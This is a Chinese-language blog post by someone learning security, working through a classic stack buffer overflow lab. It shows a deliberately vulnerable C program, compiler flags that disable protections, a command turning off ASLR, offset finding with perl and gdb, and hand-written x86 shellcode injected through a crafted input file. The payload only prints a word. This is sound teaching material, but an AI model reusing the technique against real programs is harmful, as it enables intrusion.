由於工作的需要,開始學習安全領域的知識了。感覺這個領域的知識點太多,而且非常底層,緩沖區溢出攻擊這個算是最容易理解的了,就先從這個開始入門吧~
先試個最簡單的例子,學習學習原理~
本文代碼和原理主要參考http://blog.csdn.net/linyt/article/details/43283331博客,大部分內容是直接抄原博客,加了一點自己測試時遇到的問題。
測試環境
Ubuntu 16.04 TLS
測試前准備
1. 關閉地址隨機化功能:
echo 0 > /proc/sys/kernel/randomize_va_space
2. 由於測試用到的是編譯出32位程序,現在常見的都是64位系統,先安裝一下gcc編譯32位程序用到的庫:
sudo apt-get install libc6-dev-i386
示例代碼
(這里對原博客中的代碼進行了一點修改,主要是將拷貝的代碼放到f()函數中,而不是直接在main函數中實現所有功能。主要是原代碼在測試時,遇到緩沖區溢出后,我的EIP總修改不了,而是報錯cannot access address 0x41414141...之類的,后來查了下,好像是main函數有個什么地址對其之類的導致的,把實現放在隨便一個不是main的函數里就行。目前還不懂具體原因,后面慢慢學習會了再改這里。)
1 #include <stdio.h> 2 #include <string.h> 3 4 int f() 5 { 6 char buf[32]; 7 FILE *fp; 8 9 fp = fopen("bad.txt", "r"); 10 if(!fp) { 11 perror("fopen"); 12 } 13 14 fread(buf, 1024, 1, fp); 15 printf("data: %s\n", buf); 16 return 0; 17 } 18 19 int main(int argc, char *argv[]) 20 { 21 f(); 22 23 return 0; 24 }
示例代碼有明顯的溢出問題,buf的size為32,但是拷貝了最多可達1024個字符。
編譯程序
gcc -Wall -g -fno-stack-protector -o stack1 stack1.c -m32 -Wl,-zexecstack
參數解釋:
-fno-stack-protector : 禁用棧溢出檢測功能
-m32 : 生成32位程序
-Wl,-zexecstack : 支持棧端可執行
嘗試修改EIP,控制執行路徑 (直接抄原博客了)
那么,該如何利用該緩沖區溢出問題,控制程序執行我們預期的行為呢?
buf數組溢出后,從文件讀取的內容會在當前棧幀沿着高地址覆蓋,而該棧幀的頂部存放着返回上一個函數的地址(EIP),只要我們覆蓋了該地址,就可以修改程序的執行路徑。
為此,需要知道從文件讀取多少個字節,才開始覆蓋EIP呢。一種方法是反編譯程序進行推導,另一種方法是基測試的方法。我們選擇后者進行嘗試,然后確定寫個多少字節才能覆蓋EIP.
為了避免肉眼去數字符個數,使用perl腳本的計數功能,可以很方便生成字特殊字符串。下面是字符串重復和拼接用法例子:
輸出30個'A'字符
$ perl -e 'printf "A"x30'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
輸出30個'A'字符,后追加4個'B'字符
$ perl -e 'printf "A"x30 . "B"x4'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
嘗試的方法很簡單,EIP前的空間使用'A'填充,而EIP使用'BBBB'填充,使用兩種不同的字母是為了方便找到邊界。
目前知道buf大小為32個字符,可以先嘗試填充32個'A'和追加'BBBB',如果程序沒有出現segment fault,則每次增加'A'字符4個,直到程序segment fault。如果 'BBBB'剛好對准EIP的位置,那么函數返回時,將EIP內容將給PC指針,0x42424242(B的ascii碼為0x42)是不可訪問地址,馬上segment fault,此時eip寄存器值就是0x42424242 。
我機器上的測試過程:
$ perl -e 'printf "A"x32 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒
已溢出,造成輸出亂碼,但沒有segment fault
$ perl -e 'printf "A"x36 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
沒有segment fault
$ perl -e 'printf "A"x40 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
沒有segment fault
$ perl -e 'printf "A"x44 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
輸出亂碼,但沒有segment fault
$ perl -e 'printf "A"x48 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)
產生segment fault.
使用調試工具gdb分析此時的EIP是否為0x42424242
首先輸入ulimit -c unlimited
接着運行一下上面的出錯的那條指令,此時當前目錄下會出現一個core文件
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 6043]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register eip
eip 0x42424242 0x42424242
分析core文件,發現eip被寫成'BBBB',注入內容中的'BBBB'剛才對准了棧中存放EIP的位置。
找到EIP位置,離成功邁進了一大步。
注入執行代碼
控制EIP之后,下步動作就是往棧里面注入二進指令順序,然后修改EIP執行這段代碼。那么當函數執行完后,就老老實實地指行注入的指令。
通常將注入的這段指令稱為shellcode。這段指令通常是打開一個shell(bash),然后攻擊者可以在shell執行任意命令,所以稱為shellcode。
為了達到攻擊成功的效果,我們不需要寫一段復雜的shellcode去打開shell。為了證明成功控制程序,我們在終端上輸出"FUCK"字符串,然后程序退出。
為了簡單起引, 我們shellcode就相當於下面兩句C語言的效果:
write(1, "FUCK\n", 5);
exit(0);
在Linux里面,上面兩個C語句可通過兩次系統調用(調用號分別為4和1)實現。
下面32位x86的匯編代碼shell1.s:
1 BITS 32 2 start: 3 xor eax, eax 4 xor ebx, ebx 5 xor ecx, ecx 6 xor edx, edx 7 8 mov bl, 1 9 add esp, string - start 10 mov ecx, esp 11 mov dl, 5 12 mov al, 4 13 int 0x80 14 15 mov al, 1 16 mov bl, 1 17 dec bl 18 int 0x80 19 20 string: 21 db "FUCK", 0xa
編譯程序:
nasm -o shell1 shell1.s
反編譯:
ndisasm shell1
結果如下:(我編譯出來的和原博客的代碼一樣,我覺得應該x86的都是這樣的吧~)
1 00000000 31C0 xor ax,ax 2 00000002 31DB xor bx,bx 3 00000004 31C9 xor cx,cx 4 00000006 31D2 xor dx,dx 5 00000008 B301 mov bl,0x1 6 0000000A 83C41D add sp,byte +0x1d 7 0000000D 89E1 mov cx,sp 8 0000000F B205 mov dl,0x5 9 00000011 B004 mov al,0x4 10 00000013 CD80 int 0x80 11 00000015 B001 mov al,0x1 12 00000017 B301 mov bl,0x1 13 00000019 FECB dec bl 14 0000001B CD80 int 0x80 15 0000001D 46 inc si 16 0000001E 55 push bp 17 0000001F 43 inc bx 18 00000020 4B dec bx 19 00000021 0A db 0x0a
打通任督二脈
上面找到修改EIP的位置,但這個EIP應該修改為什么值,函數返回時,才能執行注入的shellcode呢。
很簡單,當函數返回時,EIP值彈出給PC,然后ESP寄存器值往上走,剛才指向我們的shellcode。因此,我們再使用上面的注入內容,生成core時,esp寄存器的值,就是shellcode的開始地址,也就是EIP應該注入的值。
(先刪掉之前的core文件) rm ./core
$ perl -e 'printf "A"x48 . "B"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
Segmentation fault (core dumped)
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 7399]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register esp
esp 0xffffd710 0xffffd710
esp值為0xffffd710,EIP注入值就是該值,但由於X86是小端的字節序,所以注入字節串為"\x10\xd7\xff\xff"
所以將EIP原來的注入值'BBBB'變成"\x10\xd7\xff\xff"即可。再次測試:
$ perl -e 'printf "A"x48 ."\x10\xd7\xff\xff" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
FUCK
成功了,程序輸出FUCK字符串了,證明成功控制了EIP,並執行shellcode.
小結
這里是一個基本上最簡單的緩沖區溢出漏洞攻擊的例子了,雖然這技術有點老,不管怎么樣,實驗成功了,還是蠻好玩的。
現代操作系統有很多改進的東西,例如地址隨機化、棧數據不可執行等,不過從這個簡單的例子,再一步一步學習后面的技術,就好了~
下一章介紹下這個例子的原理,大部分還是參考原博客的原理分析,不過我好多基礎的知識忘了,我得寫詳細點,以后看起來方便~
原博客參考:
http://blog.csdn.net/linyt/article/details/43283331